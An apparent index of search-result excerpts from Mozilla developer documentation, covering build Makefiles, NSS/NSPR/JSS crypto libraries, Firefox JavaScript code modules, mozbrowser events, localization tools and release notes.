... by default it uses "-g" on linux and macos.
Makefile - variables
garbage a "clean target" macro containing a list of files to remove.
... garbage_dirs a "clean target" macro containing a list of directories to remove.
Makefiles - Best practices and suggestions
# transient directory for storing timestamps ts=.ts ##################################################### ## extra dep needed to synchronize parallel execution ##################################################### $(ts): $(ts)/.done $(ts)/.done: $(mkdir) -p $(dir $@) touch $@ # "clean" target garbage_dirs += $(ts) maintain clean targets - makefiles should be able to remove all content that is generated so "make clean" will return the sandbox/directory back to a clean state.
... targets = foo bar tans timestampdir = .ts all: $(timestampdir) $(targets) %: %.c $(cc) -o $@ $< $(timestampdir): $(mkdir) $@ # "clean" target garbage += $(targets) garbage_dirs += $(timestampdir) wrapper check/unit tests with a enable_tests conditional so tests can be disabled on demand.
Updating NSPR or NSS in mozilla-central
for example, in the following, "3.16.1" would be replaced with the new nss version.
... moz_arg_with_bool(system-nss, [ --with-system-nss use system installed nss], _use_system_nss=1 ) if test -n "$_use_system_nss"; then am_path_nss(3.16.1, [moz_native_nss=1], [ac_msg_error([you don't have nss installed or your version is too old])]) fi commit the update: $ hg commit -a in order to eliminate any problems related to how nss and nspr are built differently in firefox than they are standalone, you should push your commit to try first.
Windows SDK versions
note that if you're running a 64 bit version of windows you may require the "amd" version of the sdk even if you have an intel processor, and you may need to deselect the documentation component in the installer in order to avoid an installation error.
... (this was certainly the case for 64 bit windows 7 on a late 2008 macbook pro.) warning: due to a bug in windows 7 sdk, if you get "sdksetup encountered an error: expecting path %systemroot% to represent a valid system volume" error you may require to set environmental variable %windir% to something like "c:\windows" instead of "%systemroot%".
Contributing to the Mozilla code base
l/css firefox developers documentation devtools javascript and/or html/css contribute to devtools add-ons javascript and/or html/css contribute to add-ons firefox focus for android java contribute to firefox focus for android firefox for fire tv java contribute to firefox for fire tv firefox preview (mobile browser, codename: "fenix") kotlin contribute to firefox preview firefox for ios swift contribute to firefox for ios firefox focus for ios swift contribute to firefox focus for ios mozilla hubs javascript and/or html/css, vr contribute to mozilla hubs servo rust contribute to servo there are even many ways to contribute to the mozilla mission wi...
...if you don't hear back within this time, naturally reach out to them: add a comment to the bug saying 'review ping?', check the "need more information from" box, and add the reviewer's name.
Error codes returned by Mozilla APIs
ns_binding_redirected (0x804b0003) the asynchronous request has been "redirected" to a different async request.
... ns_binding_retargeted (0x804b0004) the asynchronous request has been "retargeted" to a different "handler." this error code is used with load groups to notify the load group observer when a request in the load group is removed from the load group and added to a different load group.
Index
one example is the new tab page, which includes a "top sites" section showing sites you visit that firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space.
... 11 firefox and the "about" protocol firefox, guide, mozilla, protocols there is a lot of useful information about firefox hidden away behind the about: url protocol.
Process scripts
the following code uses the global parent process message manager, which will load the script into the the chrome process and any child processes: // chrome code let ppmm = cc["@mozilla.org/parentprocessmessagemanager;1"] .getservice(ci.nsiprocessscriptloader); ppmm.loadprocessscript("chrome://whatever/process-script.js", true); ppmm.addmessagelistener("hello", function(msg) { ...
... }); the process script's global is a child process message manager, which enables the process script to receive messages from the chrome side, and to send messages to the chrome side: // process-script.js if (services.appinfo.processtype == services.appinfo.process_type_content) { dump("welcome to the process script in a content process"); } else { dump("welcome to the process script in the main process"); } // message is sent using contentprocessmessagemanager sendasyncmessage("hello"); in this example, the dump() statement will run once in each content process as well as in the main process.
Firefox
contents experimental features in firefoxthis page lists features that are in nightly versions of firefox along with information on how to activate them, if necessary.firefox and the "about" protocolthere is a lot of useful information about firefox hidden away behind the about: url protocol.
...one example is the new tab page, which includes a "top sites" section showing sites you visit that firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space.
mozbrowserasyncscroll
this indicates that the content is over-scrolled, which occurs when the page "rubber-bands" after being scrolled all the way to the bottom.
... examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserasyncscroll", function( event ) { console.log("the scroll top position of the document is:" + event.details.top + "px"); }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordre...
mozbrowsermanifestchange
by this, we are referring to the href of the manifest, as defined in <link rel="manifest" href="">.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsermanifestchange", function(event) { console.log("new manifest url: " + event.details.href); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsert...
mozbrowsermetachange
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsermetachange", function(event) { console.log("a meta tag has been " + event.details.type + ".
... its name is " + event.details.name + ", and its content is " + event.details.content + "."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowseropensearch
when an instance of <link rel="search" type="application/opensearchdescription+xml"> is encountered.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropensearch", function( event ) { console.log("new search engine encountered: " + event.details.title); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowse...
CSS -moz-bool-pref() @supports function
html <div id="pref-test"> this will have a green background if the <code>test</code> preference is enabled.
... </div> css @supports -moz-bool-pref("test") { #pref-test { background: green; } } @supports not -moz-bool-pref("test") { #pref-test { background: red; } } result ...
MozBeforePaint
<!doctype html> <html> <body> <div id="d" style="width:100px; height:100px; background:lime; position:relative;"></div> <script> var d = document.getelementbyid("d"); var start = window.mozanimationstarttime; function step(event) { var progress = event.timestamp - start; d.style.left = math.min(progress/10, 200) + "px"; if (progress < 2000) { window.mozrequestanimationframe(); } else { window.removeeventlistener("mozbef...
...orepaint", step, false); } } window.addeventlistener("mozbeforepaint", step, false); window.mozrequestanimationframe(); </script> </body> </html> as you can see, each time the mozbeforepaint event fires, our step() method is called.
Embedding the editor
we need a concept of an "editing session" - a single top-level document which is editable, and which may embody more than one editor.
... ensure that focus changes between editors update the window's notion of the "current" editor.
Gecko SDK
in addition to the below versions, you can find other versions (including beta) here: xulrunner releases (files include "sdk" in the name).
... contents of the sdk the sdk contains the following: 1.9.2 idl files for frozen interfaces (under idl/) header files for frozen interfaces, xpcom functions, and nspr functions (under include/) import libraries or shared libraries (under lib/) static utility libraries (under lib/) various tools (under bin/) for more information about safely linking xpcom components using the xpcom "glue" library, see xpcom glue.
Gecko Keypress Event
problem 1 the zoom-in shortcut handler in firefox is defined as <key key="+" modifiers="accel"/>.
... for the us keyboard layout, a related handler is defined with <key key="=" modifiers="accel"/>, so that users do not need to use the shift key to access the zoom-in shortcut.
HTML parser threading
if the last character seen by the document.write() tokenizer was not a carriage return, if the document.write() tokenizer is in the "data" state and if the tree builder state snapshot on the speculation matches the state of the document.write() tree builder, the speculation has succeeded.
...the "last was carriage return" flag is copied over also.
Geckoview-Junit Tests
@test fun contentcrashignored() { // cannot test x86 debug builds due to gecko's "ah_crap_handler" // that waits for debugger to attach during a sigsegv.
... assumethat(sessionrule.env.isdebugbuild && sessionrule.env.cpuarch == "x86", equalto(false)) running tests on try to run these tests on try, use something like: mach try fuzzy -q geckoview-junit --artifact or mach try -b do -p android-x86_64 -u geckoview-junit --artifact currently, geckoview-junit is only run on android-x86_64.
Getting Started with Chat
for example, "ashughes: good morning!" every channel has its own topic.
... posting a message like "help!" is not particularly helpful.
Implementing QueryInterface
a reference implementation of queryinterface ns_imethodimp nsmyimplementation::queryinterface( refnsiid aiid, void** ainstanceptr ) { ns_assertion(ainstanceptr, "queryinterface requires a non-null destination!"); // it's a logic error, not a runtime error, to call me without any place to put my answer!
... */ { ns_assertion(ainstanceptr, "queryinterface requires a non-null destination!"); if ( !ainstanceptr ) return ns_error_null_pointer; nsisupports* foundinterface; if ( aiid.equals(nscomtypeinfo<nsix>::getiid()) ) foundinterface = ns_static_cast(nsix*, this); else if ( aiid.equals(nscomtypeinfo<nsiy>::getiid()) ) foundinterface = ns_static_cast(nsiy*, this); // note: don't check for |nsisu...
Integrated Authentication
spnego is commonly referred to as the "negotiate" authentication protocol.
... the preferences are: pref("network.negotiate-auth.trusted-uris", site-list); pref("network.negotiate-auth.delegation-uris", site-list); pref("network.automatic-ntlm-auth.trusted-uris", site-list); where, site-list is a comma-separated list of url prefixes or domains of the form: site-list = "mydomain.com, https://myotherdomain.com" network.negotiate-auth.trusted-uris lists the sites that are permitted to engage in spne...
AddonManager
to import the addonmanager object in the add-on sdk, use: const { addonmanager } = require("resource://gre/modules/addonmanager.jsm"); to import it in a normal bootstrapped extension or similar, use: cu.import("resource://gre/modules/addonmanager.jsm"); method overview promise?
... apath the path to find the resource at, "/" separated.
Assert.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://testing-common/assert.jsm"); the assert class offers methods for performing common logical assertions.
... failed, actual, expected, message, operator ); parameters failed indicates if the assertion failed or not actual the result of evaluating the assertion expected expected result from the test author message short explanation of the expected result operator operation qualifier used by the assertion method (ex: '==') examples custom reporter example components.utils.import("resource://testing-common/assert.jsm"); let assert = new assert(); assert.setreporter(function customreporter(err, message, stack) { if (err) { do_report_result(false, err.message, err.stack); } else { do_report_result(true, message, stack); } }); ...
DownloadTarget
partfilepath read only string the path of the ".part" file containing the data downloaded so far, or null to disable the use of a ".part" file to keep partially downloaded data.
... calling this method lets the download object's properties be updated if the user moves or deletes the target file or its associated ".part" file, which contains a partially-downloaded file's contents.
FxAccountsProfileClient.jsm
components.utils.import("resource://gre/modules/fxaccountsprofileclient.jsm"); creating a new fxaccountsprofileclient new fxaccountsprofileclient(object options); method overview fetchprofile(); attributes serverurl url profiler server url.
... examples using the fxaccountsprofileclient chrome code let client = new fxaccountsprofileclient({ serverurl: "https://profile.accounts.firefox.com/v1", token: "fxa_oauth_bearer_token", }); client.fetchprofile().then(profile => console.log(profile)); error handling the fxaccountsprofileclient.jsm normalizes request and client errors into fxaccountsprofileclienterror object.
Http.jsm
for example: [["key1", "value1"], ["key2", "value2"]].
...the elements of the array will be url-encoded and "application/x-www-form-urlencoded; charset=utf-8" will be enforced as the content type.
ISO8601DateUtils.jsm
to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/iso8601dateutils.jsm"); once you've imported the module, you can then use the iso8601dateutils object it exports.
..."2010-05-15t13:45:00z", from a javascript date object.
JavaScript OS.Constants
using os.constants from the main thread to initialize os.constants for use in the main thread, add the following snippet to your code: components.classes["@mozilla.org/net/osfileconstantsservice;1"].
..."darwin").
PromiseWorker.jsm
this answers the question "when should i use a promiseworker?", and the answer is, whenever you would normally use a chromeworker, but want postmessage to return promises.
....then( function(aval) { console.log('fullfilled - promise_domyfuncfalse - ', aval); }, function(areason) { console.error('rejected - promise_domyfuncfalse - ', areason); } ).catch( function(acaught) { console.error('caught - promise_domyfuncfalse - ', acaught); } ); result running the code above will log the following information to the console: "fullfilled - promise_domyfunctrue - " "you sent to promiseworker argument of: `true`" bootstrap.js line 8 "rejected - promise_domyfuncfalse - " "you passed in a non-true value for shouldresolve argument and therefore this will reject the main thread promise" bootstrap.js line 25 other examples github :: promiseworker with ...
Using workers in JavaScript code modules
, you need to use the nsiworkerfactory interface: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); var worker = workerfactory.newchromeworker('script_url.js'); this will create a new chrome worker that will immediately begin to run the script at the specified url (in this case, "script_url.js").
... for example, "script_url.js" can be "chrome://extension_name/content/script.js".
Webapps.jsm
importing components.utils.import("resource://gre/modules/webapps.jsm"); // exported symbol is domapplicationregistry method overview init: function() loadcurrentregistry: function() notifyappsregistrystart: function notifyappsregistrystart() notifyappsregistryready: function notifyappsregistryready() sanitizeredirects: function sanitizeredirects(asource) _savewidgetsfullpath: function(amanifest, adestapp) appkind: function(aapp, amanifest) updatepermissionsforapp: function(aid, aispreinstalled) updateofflinecacheforapp: function(aid) installpreinstalledapp: function installpreinstalledapp(aid) removeifhttpsduplicate: function(aid) installsystemapps: fun...
..., amanifest, aisupdate) _getids: function(aissigned, azipreader, aconverter, anewapp, aoldapp,) _checkforstoreidmatch: function(aisupdate, anewapp, astoreid, astoreversion) revertdownloadpackage: function(aid, aoldapp, anewapp, aisupdate, aerror) uninstall: function(amanifesturl) _promptforuninstall: function(adata) confirmuninstall: function(adata) denyuninstall: function(adata, areason = "error_unknown_failure") getself: function(adata, amm) checkinstalled: function(adata, amm) getinstalled: function(adata, amm) getnotinstalled: function(adata, amm) geticon: function(adata, amm) getall: function(acallback) isreceipt: function(data) addreceipt: function(adata, amm) removereceipt: function(adata, amm) replacereceipt: function(adata, amm) setenabled: function(adata) getman...
JavaScript code modules
bookmarkhtmlutils.jsm provides utility functions for importing and exporting bookmarks from the old-school "bookmarks.html" style bookmark files.
... openlocationlasturl.jsm provides access to the last url opened using the "open location" option in the file menu.
L10n Checks
"kompozer"), e.g.: check-l10n-completeness -l browser/locales/l10n.ini ../l10n/ de compare every directory in the source mode you can tell l10n checks to compare every directory, not only the ones set in the all-locales file, by setting the -f parameter (useful for e.g.
... "seamonkey" with its extensions), e.g.: check-l10n-completeness -f suite/locales/l10n.ini ../l10n/ de test the reference locale in the source mode you can tell l10n checks to also check the reference locale, by setting the -e parameter (requires the -a parameter to be set too), e.g.: check-l10n-completeness -a 1 -e suite/locales/l10n.ini ../l10n/ de turbo mode in the source mode you can tell l10n checks to look only for missing and obsolete entities and files, by setting the -t parameter, e.g.: check-l10n-completeness -t suite/locales/l10n.ini ../l10n/ de check access keys in all modes you can tell l10n checks to check if the access keys are set properly, by setting the -a parameter, e.g.: check-l10n-completeness -a 1 suite/locales/l10n.ini ../l10n/ de there are three modes available: ...
Localizing with Mozilla Translator
migrating contents when the directory structure changes overall, if you are a ''good'' mt user and you do things like: checking "keep original" flags for strings not needing translation, instead of just leaving the translation empty struggling to get empty lists when running "untranslated strings" and "view fuzzy" if you are up to date in localization regularly running qa checks and trying to minimize them.
...it is just instructed to read directory subtrees and ignore "cvs" and ".svn" directories it finds.
SVN for Localizers
once you're satisfied with changes, commit them to the appropriate mozilla svn repository by entering the following command: svn commit -m "minor modifications for firefox [version #] beta page for [your locale]" the svn commit command will commit your changes directly to the mozilla svn repositories.
... the -m parameter followed by some text within double quotes (") will be pushed along with your changes.
Localization technical reviews
more intl.properties checkpoints, cont we also check the plural rule for the locale, that the general.useragent.locale is set to the locale code, that accept-lang shows the locale code(s) (like ab, ab-cd,...) and is followed by en and en-us, and finally that intl.menuitems.insertseparatorbeforeaccesskeys = true, where "true" should be left untranslated.
...most locales should have the following: #filter substitution pref("general.useragent.locale", "@ab_cd@") how it all works a large part of the review process takes place before you even submit your request for a technical review.
Updates
june 5, 2002 mozilla 1.0 released "by virtue of embedding gecko, mozilla 1.0 and products based on mozilla code support more web standards, more deeply, more consistently across more platforms than any others.
... mozilla 1.0 features full support for html 4.0, xml 1.0, resource description framework (rdf), cascading style sheets level 1 (css1), and the w3c document object model level 1 (dom1) [...] as well as support for display of mathematical equations using mathml." december 7, 2001 status report october 2000 the first international mathml conference april 14, 2000 status report february 12, 2000 mathml-enabled m13 builds for win32 september 21, 1999 mathml has landed.
MathML Demo: <mfrac> - fractions
and this is an example where the bevelled attribute is set inside the radical y 2 - t 2 1 ( 1 + | y 2 - t 2 | 2 ) and this shows a combination with a background image at a desired opacity mathml background image html content <div class="background"></div> <math display="block"> <mrow> <msub> <mi>z</mi> <mi>&alpha;</mi> </msub> <mrow> <mo>(</mo> <mi>f</mi> <mo>)</mo> </mrow> <mo>=</mo> <mfrac> <mn>1</mn> <mrow> <mn>2</mn> <mi>i</mi> <mo>&thinspace;</mo> <mi>cos</mi> <mo>(</mo> <mfrac> <mrow> <mi>&alpha;</mi> <mi>&pi;</mi> </mrow> <mn>2</mn> </mfrac> <mo>)</mo> </mrow> </mfrac> <mrow> <msub> <mo>&int;</mo> <mi>c</mi> </msub> <mfr...
... <mrow> <mi>f</mi> <mo stretchy='false'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>&alpha;</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>&pi;</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="background"] { background-image: url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
Mozilla Web Services Security Model
<webscriptaccess xmlns="http://www.mozilla.org/2002/soap/security"/> allow access to soap services within a services directory to allow access to services only within a certain directory (i.e., the directory where the safe, public, non-authenticated services are), you need one web-scripts-access.xml in the root directory of the server and one in the directory containing the services.
... in the root directory of the server: <webscriptaccess xmlns="http://www.mozilla.org/2002/soap/security"> <delegate/> <allow type="none"/> </webscriptaccess> and in the services directory: <webscriptaccess xmlns="http://www.mozilla.org/2002/soap/security"> <allow type="soapv"/> <allow type="soap"/> </webscriptaccess> good examples (needed.) references new security model for web services, the original proposal for the web-scripts-access.xml file format web services roadmap, documenting when web services features, including the security model, were first supported additional reading documentation of crossdomain.xml, a similar format used by macromedia flash player ...
Mozilla Development Tools
mozilla source code (mercurial and cvs) "trunk" development for gecko 1.9.1/firefox 3.5 and beyond uses the mercurial source code version control system.
...access doctor by clicking the "edit this page" link at the bottom of any mozilla.org web page.
Mozilla external string guide
the mozilla codebase used to have a notion of "external" strings, which were the string classes visible to code outside of the mozilla codebase (extensions, xulrunner applications, and embedders).
...the only remaining string classes are the "internal" ones, which are documented xpcom guide internal strings.
BloatView
e 113048 -70.92% 113568 -71.16% literalimpl 53280 26.62% 75840 19.40% nsxulelement 51648 0.00% 51648 0.00% nsprofile 51224 0.00% 51224 0.00% nsframe 47568 -26.15% 48096 -50.49% cssdeclarationimpl 42984 0.67% 43488 0.67% this "delta report" shows the leak offenders, sorted from most leaks to fewest.
...the percentage 99999.99% will show up indicating an "infinite" amount of leakage.
Intel Power Gadget
the three panes display the following information: power: shows power estimates for the package and the cores ("ia").
... frequency: shows operating frequency measurements for the cores ("ia") and the gpu ("gt").
JS::PerfMeasurement
faults total page-fault exceptions fielded by the os ::major_page_faults .major_page_faults page faults that required disk access ::context_switches .context_switches context switches involving the profiled thread ::cpu_migrations .cpu_migrations migrations of the profiled thread from one cpu core to another these events map directly to "generic events" in the linux 2.6.31+ <linux/perf_event.h> interface, and so unfortunately are a little vague in their specification; for instance, we can't tell you exactly which level of cache you get misses for if you measure cache_misses.
...perfmeasurement::all in a constructor call, this special value means "measure everything that can possibly be measured." perfmeasurement::num_measurable_events this constant equals the total number of events defined by the api - not necessarily the total number of events that a particular os allows you to measure.
Measuring performance using the PerfMeasurement.jsm code module
the first thing you need to do is to import the module into your scope: components.utils.import("resource://gre/modules/perfmeasurement.jsm") you can then create a perfmeasurement object.
... when you're done benchmarking, you can read out each of the counters you asked for as properties: let report = "cpu cycles: " + monitor.cpu_cycles + "\n" + "cache refs: " + monitor.cache_references + "\n" + "cache misses: " + monitor.cache_misses + "\n"; monitor.reset(); alert(report); the reset() method clears all of the enabled counters, as you might expect.
turbostat
invocation turbostat must be invoked as the super-user: sudo turbostat if you get an error saying "turbostat: no /dev/cpu/0/msr", you need to run the following command: sudo modprobe msr the output is as follows: core cpu avg_mhz %busy bzy_mhz tsc_mhz smi cpu%c1 cpu%c3 cpu%c6 cpu%c7 coretmp pkgtmp pkg%pc2 pkg%pc3 pkg%pc6 pkg%pc7 pkgwatt corwatt gfxwatt - - 799 21.63 3694 3398 0 12.02 3.16 1.71 61.48 49 49 0.00 0.00 ...
...the various "watt" measurements come from the intel rapl msrs.
javascript.options.strict
example : <html> <head> <title>sample</title> </head> <body> <label id="name">enter you first name</label> <p id ="sample"></p> <script> "use strict" name1= "john" ; // this will cause and an error as variable not declared .
... var name2= "peter"; document.getelementbyid("sample").innerhtml = name1; </script> </body> </html> possible values and their effects: true: show javascript errors and warnings.
About NSPR
(the "20" in "nspr20" does not mean "version 2.0" but rather "second generation".) many of the concepts have been reformed, expanded, and matured.
...hoare in monitors: an operating system structuring concept , communications of the acm, 17(10), october 1974 and then formalized by xerox' mesa programming language ("mesa language manual", j.g.
NSPR release procedure
before you run repackage.sh, you need to have built the binary distributions using the "gmake release" makefile target.
...note: for nss, the script equivalent to nspr's repackage.sh is /u/robobld/bin/sbsinit/nss/push/buildbindist.sh in the "svbuild" source tree.
Floating Point Number to String Conversion
clinger, "how to read floating point numbers accurately," proc.
...white, "how to print floating-point numbers accurately," proc.
Introduction to NSPR
threads can also have "per-thread-data" attached to them.
... to access the data in the monitor, the thread performing the access must hold the mutex, also described as being "in the monitor." mutual exclusion guarantees that only one thread can be in the monitor at a time and that no thread may observe or modify the monitored data without being in the monitor.
Logging
nspr also provides "assert"-style macros and functions to aid in application debugging.
... before running the compiled program, set the environment variable nspr_log_modules to userstuff:5 static void userlogstuff( void ) { prlogmoduleinfo *mylm; printn i; pr_static_assert(5 > 4); /* nspr 4.6.6 or newer */ mylm = pr_newlogmodule( "userstuff" ); pr_assert( mylm ); pr_log( mylm, pr_log_notice, ("log a notice %d\n", 999 )); for (i = 0; i < 10 ; i++ ) { pr_log( mylm, pr_log_debug, ("log debug number: %d\n", i)); pr_sleep( 500 ); } pr_log( mylm, pr_log_notice, "that's all folks\n"); } /* end userlogstuff() */ see also nspr logging reference ...
PR ImportTCPSocket
syntax #include "private/pprio.h" prfiledesc* pr_importtcpsocket(prosfd osfd); parameters the function has the following parameters: osfd the native file descriptor for the tcp socket to import.
... although pr_importtcpsocket is a supported function, it is declared in "private/pprio.h" to stress the fact that this function depends on the internals of the nspr implementation.
PR_StringToNetAddr
description for ipv4 addresses, the input string represents numbers in the internet standard "." notation.
... ipv6 addresses are indicated as strings using ":" characters separating octets, with numerous caveats for shortcutting (see rfc #1884).
PR_WaitCondVar
after a call to pr_waitcondvar, the lock is released and the thread is blocked in a "waiting on condition" state until another thread notifies the condition or a caller-specified amount of time expires.
... when the condition variable is notified, a thread waiting on that condition moves from the "waiting on condition" state to the "ready" state.
4.3 Release Notes
new sqlite-based shareable certificate and key databases by prepending the string "sql:" to the directory path passed to configdir parameter for crypomanager.initialize method or using the nss environment variable nss_default_db_type.
... to obtain the version info from the jar file use, "system.out.println(org.mozilla.jss.cryptomanager.jar_jss_version)" and to check the shared library: strings libjss4.so | grep -i header feedback bugs discovered should be reported by filing a bug report with bugzilla.
JSS FAQ
MozillaProjectsNSSJSSJSS FAQ
once jss initialized, i can't get anymore instances with certificatefactory.getinstance("x.509")?
...in jss, the token is called "internal key storage token".
JSS Provider Notes
the provider's name is "mozilla-jss".
... the following example shows how you can specify which token is used for various jca operations: // lookup pkcs #11 tokens cryptomanager manager = cryptomanager.getinstance(); cryptotoken tokena = manager.gettokenbyname("tokena"); cryptotoken tokenb = manager.gettokenbyname("tokenb"); // create an rsa keypairgenerator using tokena manager.setthreadtoken(tokena); keypairgenerator rsakpg = keypairgenerator.getinstance("rsa", "mozilla-jss"); // create a dsa keypairgenerator using tokenb manager.setthreadtoken(tokenb); keypairgenerator dsakpg = keypairgenerator.getinstance("dsa", "mozilla-jss"); // generate an rsa...
Mozilla-JSS JCA Provider notes
the provider's name is "mozilla-jss".
...the following example shows how you can specify which token is used for various jca operations: // lookup pkcs #11 tokens cryptomanager manager = cryptomanager.getinstance(); cryptotoken tokena = manager.gettokenbyname("tokena"); cryptotoken tokenb = manager.gettokenbyname("tokenb"); // create an rsa keypairgenerator using tokena manager.setthreadtoken(tokena); keypairgenerator rsakpg = keypairgenerator.getinstance("mozilla-jss", "rsa"); // create a dsa keypairgenerator using tokenb manager.setthreadtoken(tokenb); keypairgenerator dsakpg = keypairgenerator.getinstance("mozilla-jss", "dsa"); // generate an rsa...
NSS_3.11.10_release_notes.html
nss 3.11.10 release notes 2008-12-10 newsgroup: <ahref="news: mozilla.dev.tech.crypto"="" news.mozilla.org="">mozilla.dev.tech.crypto</ahref="news:> contents introduction distribution information bugs fixed documentation compatibility feedback introduction network security services (nss) 3.11.10 is a patch release for nss 3.11.
... the bug fixes in nss 3.11.10 are described in the "bugs fixed" section below.
NSS 3.12.4 release notes
the bug fixes in nss 3.12.4 are described in the "bugs fixed" section below.
...currently nss 3.12.4 is in the "review pending" state in the fips 140-2 pre-validation list at http://csrc.nist.gov/groups/stm/cmvp/documents/140-1/140inprocess.pdf added crl distribution point support (see cert.h).
NSS 3.12.6 release notes
the bug fixes in nss 3.12.6 are described in the "bugs fixed" section below.
... ssl_sni_send_alert: libssl must send the "unrecognized_name" alert.
NSS 3.14.1 release notes
the bug fixes in nss 3.14.1 are described in the "bugs fixed" section below.
... bug 802429 - in previous versions of nss, the "cipherorder" slot configuration flag was not respected, causing the most recently added slot that supported the requested pkcs#11 mechanism to be used instead.
NSS 3.16.1 release notes
the bug fixes in nss 3.16.1 are described in the "bugs fixed" section below.
...nss 3.16.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_1_rtm/src/ new in nss 3.16.1 new functionality added the "ecc" flag for modutil to select the module used for elliptic curve cryptography (ecc) operations.
NSS 3.28.3 release notes
the bug fixes in nss 3.28.3 are described in the "bugs fixed" section below.
... seckeyecpublickey had been extended with a new attribute, named "encoding".
NSS 3.29.1 release notes
the bug fixes in nss 3.29.1 are described in the "bugs fixed" section below.
... seckeyecpublickey had been extended with a new attribute, named "encoding".
NSS Config Options
nss config options format the specified ciphers will be allowed by policy, but an application may allow more by policy explicitly: config="allow=curve1:curve2:hash1:hash2:rsa-1024..." only the specified hashes and curves will be allowed: config="disallow=all allow=sha1:sha256:secp256r1:secp384r1" only the specified hashes and curves will be allowed, and rsa keys of 2048 or more will be accepted, and dh key exchange with 1024-bit primes or more: config="disallow=all allow=sha1:sha256:secp256r1:secp384r1:min-rsa=2048:min-dh=1024" a policy that enables the aes ciphersuites and the secp256/384 curves: config="allow=aes128-cbc:aes128-gcm::hmac-sha1:sha1:sha256:sha384:rsa:ecdhe-rsa:secp256r1:secp384r1" turn off md5 config="disallow=md5" turn off md5 and sha1 only for ssl c...
...onfig="disallow=md5(ssl):sha1(ssl)" disallow values are parsed first, and then allow values, independent of the order in which they appear.
nss tech note3
each cert has a "type" and a "key usage", each of which may contain one or more valid values.
... cert extensions: one vital certificate extension is the "basic constraints" extension.
PKCS11 module installation
choose "advanced" > "encryption" > "security devices" choose "load" enter a name for the security module, such as "my client database".
... choose "browse..." to find the location of the pkcs #11 module on your local computer, and choose "ok" when done.
Installation guide
the build system of nss originated from netscape's build system, which predated the "configure; make; make test; make install" sequence that we're familiar with now.
... our makefiles also have an "install" target, but it has a different meaning: our "install" means installing the headers, libraries, and programs in the appropriate directories under mozilla/dist.
Migration to HG
for nspr, "mozilla/nsprpub" has been removed from the directory hierarchy, all files now live in the top directory of the nspr repository.
... likewise for nss and jss, "mozilla/security" has been removed and files now live at the top level.
FC_InitToken
the "reset password" button of the mozilla application suite and seamonkey (in preferences->privacy & security->master passwords) calls fc_inittoken().
... the "-t" (token reset) command of certutil calls fc_inittoken().
NSC_InitToken
the "reset password" button of the mozilla application suite and seamonkey (in preferences->privacy & security->master passwords) calls nsc_inittoken().
... the "-t" (token reset) command of certutil calls nsc_inittoken().
NSS Key Functions
this was converted from "chapter 6: key functions".
...the use of the word "destroy" in function names or in the description of a function implies reference counting.
NSS tools : crlutil
crl generation script syntax crl generation script file has the following syntax: * line with comments should have # as a first symbol of a line * set "this update" or "next update" crl fields: update=yyyymmddhhmmssz nextupdate=yyyymmddhhmmssz field "next update" is optional.
... see "implemented extensions" for more information regarding extensions and their parameters.
NSS tools : pk12util
id encryption algorithm: pkcs #12 v2 pbe with sha-1 and 3key triple des-cbc parameters: salt: 45:2e:6a:a0:03:4d:7b:a1:63:3c:15:ea:67:37:62:1f iteration count: 1 (0x1) certificate: data: version: 3 (0x2) serial number: 13 (0xd) signature algorithm: pkcs #1 sha-1 with rsa encryption issuer: "e=personal-freemail@thawte.com,cn=thawte personal freemail c a,ou=certification services division,o=thawte consulting,l=cape t own,st=western cape,c=za" alternatively, the -r prints the certificates and then exports them into separate der binary files.
...for example: # pk12util -i /tmp/cert-files/users.p12 -d sql:/home/my/sharednssdb to set the shared database type as the default type for the tools, set the nss_default_db_type environment variable to sql: export nss_default_db_type="sql" this line can be set added to the ~/.bashrc file to make the change permanent.
sslintro.html
chapter 2, "getting started with ssl" illustrates their use in sample client and server applications.
...specifies a callback function used to authenticate an incoming certificate (optional for servers, necessary for clients to avoid "man-in-the-middle" attacks).
ssltyp.html
<a name="> many of the structures presented here (certcertdbhandle, certcertificate, pk11slotinfo, and seckeyprivatekey) are opaque--that is, they are types defined as structures (for example, certcertdbhandlestr) that may change in future releases of network security services.
...the use of the word "destroy" in function names or in the description of a function often implies reference counting.
NSS tools : crlutil
MozillaProjectsNSStoolscrlutil
crl generation script syntax crl generation script file has the following syntax: * line with comments should have # as a first symbol of a line * set "this update" or "next update" crl fields: update=yyyymmddhhmmssz nextupdate=yyyymmddhhmmssz field "next update" is optional.
... see "implemented extensions" for more information regarding extensions and their parameters.
NSS tools : pk12util
